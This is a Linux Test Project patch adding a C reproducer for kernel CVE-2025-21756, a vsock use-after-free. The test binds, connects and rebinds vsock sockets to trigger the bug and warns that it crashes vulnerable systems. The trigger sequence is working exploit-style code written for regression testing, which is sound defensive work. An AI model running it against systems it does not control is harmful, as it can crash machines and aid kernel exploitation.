[LTP] [PATCH] cve: add test reproducer for cve-2025-21756

[Andrea Cervesato]

From: Andrea Cervesato <andrea.cervesato@suse.com>

This test is verifying kernel commit fcdd2242c023 "vsock: Keep the
binding until socket destruction" merged inside v6.14.

Beware, it will crash the system!

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                    |  1 +
 testcases/cve/.gitignore       |  1 +
 testcases/cve/cve-2025-21756.c | 92 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 94 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 6d575aa2165bcd46e5ca36a07db33f69a91bd94a..c3ecd74dd9f837924b810b7b431ebb911d809966 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -92,3 +92,4 @@ cve-2020-25704 perf_event_open03
 cve-2022-0185 fsconfig03
 cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
+cve-2025-21756 cve-2025-21756
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 8eb17ce56b01070e47917f9bb44cf146c0c5b338..dc1dad5b0d0d02a3ab57e72516c33ee7949c8431 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -14,3 +14,4 @@ cve-2022-4378
 icmp_rate_limit01
 tcindex01
 cve-2025-38236
+cve-2025-21756
diff --git a/testcases/cve/cve-2025-21756.c b/testcases/cve/cve-2025-21756.c
new file mode 100644
index 0000000000000000000000000000000000000000..7920dc716bc86456be5380d129e3a1b7d788fb83
--- /dev/null
+++ b/testcases/cve/cve-2025-21756.c
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2025 Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2025-21756 fixed in kernel v6.14:
+ * fcdd2242c023 vsock: Keep the binding until socket destruction
+ *
+ * Reproducer based on:
+ * https://lore.kernel.org/all/20250128-vsock-transport-vs-autobind-v3-5-1cf57065b770@rbox.co/
+ *
+ * Beware, this test will crash the system.
+ */
+
+#include "tst_test.h"
+
+#if HAVE_LINUX_VM_SOCKETS_H
+
+#include "lapi/vm_sockets.h"
+
+#define MAX_PORT_RETRIES	24
+#define VMADDR_CID_NONEXISTING	42
+
+static int vsock_bind(unsigned int cid, unsigned int port, int type)
+{
+	int sock;
+
+	struct sockaddr_vm sa = {
+		.svm_family = AF_VSOCK,
+		.svm_cid = cid,
+		.svm_port = port,
+	};
+
+	sock = SAFE_SOCKET(AF_VSOCK, type, 0);
+	SAFE_BIND(sock, (struct sockaddr *)&sa, sizeof(sa));
+
+	return sock;
+}
+
+static void run(void)
+{
+	int sockets[MAX_PORT_RETRIES];
+	struct sockaddr_vm addr;
+	int socket, sock_count;
+	socklen_t alen;
+
+	socket = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);
+
+	alen = sizeof(addr);
+	SAFE_GETSOCKNAME(socket, (struct sockaddr *)&addr, &alen);
+
+	for (sock_count = 0; sock_count < MAX_PORT_RETRIES; ++sock_count) {
+		sockets[sock_count] = vsock_bind(VMADDR_CID_ANY,
+				   ++addr.svm_port, SOCK_SEQPACKET);
+	}
+
+	SAFE_CLOSE(socket);
+
+	socket = SAFE_SOCKET(AF_VSOCK, SOCK_SEQPACKET, 0);
+	if (!connect(socket, (struct sockaddr *)&addr, alen))
+		tst_brk(TBROK, "Unexpected connect() #1 success");
+
+	addr.svm_cid = VMADDR_CID_NONEXISTING;
+	if (!connect(socket, (struct sockaddr *)&addr, alen))
+		tst_brk(TBROK, "Unexpected connect() #2 success");
+
+	addr.svm_cid = VMADDR_CID_LOCAL;
+	addr.svm_port = VMADDR_PORT_ANY;
+
+	/* Vulnerable system may crash now. */
+	SAFE_BIND(socket, (struct sockaddr *)&addr, alen);
+	SAFE_CLOSE(socket);
+
+	tst_res(TPASS, "System still running after socket unbinding");
+
+	while (sock_count--)
+		SAFE_CLOSE(sockets[sock_count]);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "fcdd2242c023"},
+		{"CVE", "2025-21756"},
+		{}
+	}
+};
+
+#else
+TST_TEST_TCONF("No linux/vm_sockets.h");
+#endif

---
base-commit: 2f208c00cfc4a1d7d5d957ac2b866e1248623aa6
change-id: 20250922-cve-2025-21756-e1afcda7b2d4

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>